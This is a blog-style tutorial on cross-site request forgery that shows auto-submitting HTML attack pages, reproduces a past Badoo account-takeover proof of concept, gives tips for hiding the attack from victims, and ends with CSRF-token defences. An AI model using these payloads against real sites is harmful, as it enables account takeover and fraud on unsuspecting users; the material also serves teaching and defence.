Hacking Sites With Cross-Site Request Forgery
10 min read

Hacking Sites With Cross-Site Request Forgery

Cross-site request forgery (CSRF) is the practice of tricking a user into inadvertently issuing an HTTP request to another website without the user's knowledge - often with malicious intent.

When executed successfully, these attacks can be used to:

  • Change email address or password information of an account, allowing an attacker to take control of various accounts on services across the internet
  • Change delivery address information on shopping websites, so all purchases are sent to the attacker's house and not the address of the purchaser
  • Transfer funds from the user's bank account to the attacker's account
  • Like/Subscribe/Share/Favourite/Upvote various content across the internet

This post will explain how to perform CSRF attacks, how to defend against them and how they have been used against large organisations in the past.

HTTP Introduction

Before going into CSRF, it is necessary to take a step back and go over a few details about how the web works, specifically concerning the HTTP protocol.

The main thing to know is that webservers across the internet primarily accept HTTP requests (or HTTPS requests for secure connections), which is noticeable at the beginning of the URL in the address bar of most browsers.

Google Chromium browser address bar with https:// protocol shown

This protocol allows different types of requests, with the most common being GET requests and POST requests:

  • GET requests are used to fetch data from website servers and can be called over and over again without any unintended consequences. For example, loading an image into a web page would yield the same image each time.
  • POST requests are used to send data to website servers and usually change data in some way in a system. For example, purchasing items in an online shopping basket would not have the same result with each purchase request as the first purchase would empty the basket as part of the transaction, leaving subsequent purchase requests to have no action.

Finally, HTTP is a stateless protocol meaning, in part, that authentication must occur as part of every request-response lifecycle. However, instead of requiring a username and password combination to be sent with every request, most systems will issue a unique "cookie" to a user when they log in, which is saved by the browser. The browser then sends the cookie information in all subsequent requests to the website for authentication purposes.

Cookies play a large part in how the internet works in how users remain logged into systems, how tracking and analytics work and how user preferences are saved for different profiles. However, they are set on a per-browser basis, meaning if a user uses a different web browser (or private-mode browsing), no cookies are present, and users must log into all systems again.

Combining these elements, a hacker can force the browser to send either HTTP GET or HTTP POST requests to a vulnerable system and take advantage of cookies already set to exploit sensitive endpoints to run commands on a user's behalf.

The Confused Deputy Problem

CSRF is an example of the "Confused Deputy Problem" wherein one system is fooled by another system into misusing its authority.

In the case of CSRF, the web browser is fooled into misusing its authority to store web cookies for the user and is tricked into making HTTP requests to websites on the user's behalf by sending the cookies with the requests.

Crucially, for a CSRF attack to have any effect, the user must be logged into the third-party systems and have an authentication cookie set.

Example CSRF Attack: HTTP GET Request

Let's imagine a website running on "example.com" where the user has to login to access various content and then log out by pressing a logout button. The logout button is often a simple link to a URL, such as:

https://example.com/logout.php

A user can access this link with a standard HTTP GET request by pressing the logout button and the code behind "logout.php" would execute, forcing the user's session to end.

An attacker can abuse this relatively easily by including a call to the logout URL on another website, "evil.com":

<!DOCTYPE html>
<html>
    <head>
        <title>Evil Website</title>    
    </head>

    <body>
      <img src="https://example.com/logout.php" />  
    </body>
</html>

Assuming the user was logged into the system on "example.com" and then, for one reason or another, browsed to "evil.com" with the above HTML code, the browser would see the <img /> tag and automatically try to load an image defined by the src value with an HTTP GET request. However, the request would also include the user's authentication cookie so "example.com" servers would authenticate the request from the user and logout the user as if it were a normal request from the "example.com" website.

Logging a user out of a system like this may have relatively minor side-effects but demonstrates how a malicious website can trigger unintended actions on entirely separate sites without the user being aware.

Alternative CSRF HTTP GET Request Tags

Notably, the <img /> tag could be replaced with a <script /> or an <iframe /> tag with the equivalent effect of triggering an HTTP GET request:

<img src="https://example.com/logout.php" />
<script src="https://example.com/logout.php" />
<iframe src="https://example.com/logout.php" />

Alternatively, JavaScript could be used to create an HTML tag if necessary:

<script>
    var foo = new Image();
    foo.src = "https://example.com/logout.php";
</script>

The point here is that there are multiple ways to trigger an HTTP GET request with different HTML markup.

Example CSRF Attack: HTTP POST Request

It requires more effort and more code to trigger an HTTP POST CSRF attack as the attacker will also need to prepare the specific form values to send to replicate the functionality of the website.

As an example, let's say there is an e-commerce website on the domain shop.com with a form on each product page that adds an item to the user's basket:

<form action="basket.php" method="POST">
    <input type="hidden" name="product_code" value="123" />
    <input type="submit" value="Add To Basket" />
</form> 

When the user presses the button with the text "Add To Basket", the product with the code "123" is added to the user's basket by making an HTTP POST request to the page "basket.php".

In this case, a malicious website could add other items to the user's basket by creating and automatically submitting a form to "https://shop.com/basket.php" with any other "product_code" values:

<!DOCTYPE html>
<html>
    <head>
        <title>Evil Website</title>    
    </head>

    <body>
        <form action="https://shop.com/basket.php" method="POST" name="evil_form">
            <input type="hidden" name="product_code" value="789" />
            <input type="submit" value="Add To Basket" />
        </form>

        <script>
            document.onreadystatechange = function() {
                document.evil_form.submit();
            }
        </script>
    </body>
</html> 

With this HTML page, a form is defined to post to "https://shop.com/basket.php" with the "product_code" value of "789" and this is automatically submitted when the page is loaded.

If a user visited this page on the "evil.com" domain, the HTTP POST request would add the product to the user's basket on "shop.com" without their knowledge.

In a real-life scenario, it may instead be possible to change the number of items purchased, the configuration of the items (size, colour, etc.) or even the prices.

CSRF Attacks: Companies Affected

CSRF attacks have affected many companies where attackers were able to perform a variety of actions on behalf of logged in users.

Shopify Twitter Disconnect

An integration between Shopify and Twitter allowed shop owners to tweet about products for promotional purposes. An attacker could set up a website to send an HTTP request to disassociate the two systems with a simple call to:

https://www.twitter-commerce.shopifyapps.com/auth/twitter/disconnect/

For example, any website could have had an image tag on their page to perform this action, such as:

<img src="https://www.twitter-commerce.shopifyapps.com/auth/twitter/disconnect/" style="display: none" />

If a user had connected a Twitter account to their Shopify account and was logged into "shopifyapps.com" when visiting another website with this HTML, the Twitter and Shopify accounts would be disconnected and cause a minor inconvenience to the user.

Instacart Zone Change

An attacker could change the zones that a courier of Instacart agreed to work in by sending HTTP POST requests to an unsecured endpoint:

<!DOCTYPE html>
<html>
    <head>
        <title>Instacart Zone Change</title>
    </head>
    
    <body>
        <form action="https://admin.instacart.com/api/v2/zones" method="POST" name="evil_form">
            <input type="hidden" name="zip" value="10001" />
            <input type="hidden" name"override" value="true" />
            <input type="submit" value"Submit request">
        </form>
        
        <script>
            document.onreadystatechange = function() {
                document.evil_form.submit();
            }
        </script>
    </body>
</html>

The courier would have to be logged into Instacart and visit a page with this HTML to have any effect. An attacker could use this to guarantee more work for themself by setting all other couriers to work in different zones.

Badoo Account Takeover

Badoo is "the world's largest dating app" according to their promotional text on Google Play with Similar Web listing engagement data suggesting 150 million visits each month.

Similar Web traffic overview of badoo.com

However, as recently as 2016 it was possible for an attacker to fully take over any account with specially crafted HTTP requests, as reported by the then 17-year-old Mahmoud G.

The CSRF attack code submitted was as follows (slightly modified for formatting):

<html>
    <head>
        <title>Badoo account take over</title>
        <script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
    </head>

    <body>
        <script>
            function getCSRFcode(str) {
                return str.split('=')[2];
            }

            window.onload = function() {
                var csrf_code = getCSRFcode(url_stats);
                
                csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
                
                window.location = csrf_url;
            };
        </script>
    </body>
</html>

For Badoo, a CSRF attack vector allowed an attacker to associate their Google account to another user's Badoo profile, effectively allowing the attacker to log in to another user's profile and take over the account.

The notable parts with this attack are:

  • The HTTP request was a GET request triggered with JavaScript by setting the URL of the browser with the window.location method
  • The URL called required extra hard-coded parameters such as code, authuser, session_state, prompt. These parameters were set up by the hacker in advance to link to a specific Google account to the Badoo account.
  • The URL required a dynamic parameter rt to represent the user being attacked. The value for this parameter was available by importing the <script /> at https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1 and adding a few lines of extra processing.

With this specially crafted URL, the researcher was able to demonstrate that he could take over any Badoo account if he could get the Badoo account user to visit any webpage with the above HTML only - no other user interaction would be required.

An attacker could use this information to set up a highly-targeted social-engineering attack to take over a specific account or more generally use the code to take over the account of any unsuspecting website visitor.

Better CSRF Attacks: Try Harder

Assuming an attacker can find a valid target for a CSRF attack, they can go a little further by hiding the evidence of the attack from the user and increasing the likeliness of success in multiple ways.

Hiding Badoo Account Takeover HTTP GET Request

In the case of the Badoo account takeover, the window.location call would redirect the browser to a new URL, and the user would notice strange behaviour.

This process could be improved by using JavaScript to create an <img /> tag with a src attribute with the URL as seen earlier. In this case, the user would not notice any odd behaviour and potentially would not know their Badoo account has been compromised at all.

Hiding Image Not Found Icons

When triggering an HTTP GET request with an <img /> tag as seen earlier, usually the browser renders a small "not found" icon in place of a real image:

"Image not found" icon displayed in Chromium Browser

This icon can be hidden from the user with CSS:

<img src="https://example.com/action.php" style="display: none" />

With this styling, nothing will be shown to the user.

Hiding HTTP POST Response Information

Websites always send a response to HTTP POST requests, but this information can be guaranteed to be hidden from the user by directing all response information to a hidden <iframe /> element on the page:

<!DOCTYPE html>
<html>
    <head>
        <title>Evil Website</title>    
    </head>

    <body>
        <iframe style="display: none" name="csrf-frame" />
        <form action="https://shop.com/basket.php" method="POST" name="evil_form" target="csrf-frame">
            <input type="hidden" name="product_code" value="789" />
            <input type="submit" value="Add To Basket" />
        </form>

        <script>
            document.onreadystatechange = function() {
                document.evil_form.submit();
            }
        </script>
    </body>
</html> 

This HTML is almost identical to the earlier example except for the target of the <form /> is set to the same value as the name of the <iframe /> element. This extra markup directs any response to an <iframe /> element that is styled to be hidden from the user.

Preventing CSRF Attacks

Importantly, any actions that modify data on the server should require the use of HTTP POST requests. This nuance is part of the HTTP specification for a reason, and developers should not take this lightly.

When an HTTP GET request performs an action on a system - as seen in the Twitter Shopify example - the only way to check if the request is genuinely from the Shopify systems would have been to check the HTTP request header information such as the "referrer" and the "origin". However, this relies on the security features of browsers which is a form of outsourcing your security concerns to another party and is certainly not the best way to approach the problem.

Instead, using HTTP POST requests in forms to perform actions and adding what are called "CSRF Tokens" is the most popular and effective solution.

When using these tokens, the website server generates a random string value, associates it to the user's session and adds it as a hidden field value to a form.

<form action="https://example.com/change_password" method="POST">
    <input type="hidden" name="authenticity_token" value="0fdsn23k..." />
    <input type="password" name="new_password" />
    <input type="submit" value="Change Password" />
</form>

When this form is submitted to change the user's password, the system would first validate the existence and value of the "authenticity_token" hidden field.

It would not be possible for an attacker to generate or guess the value of the "authenticity_token" on a third-party website as the attacker would not have access to the user's session on the remote server, rendering CSRF attacks impossible.

Summary

Depending on which actions that can be exploited with CSRF, a great deal of damage can be caused to organisations and users, alike. However, they can also be easily prevented by following the HTTP specification and validating the presence and value of CSRF tokens in requests.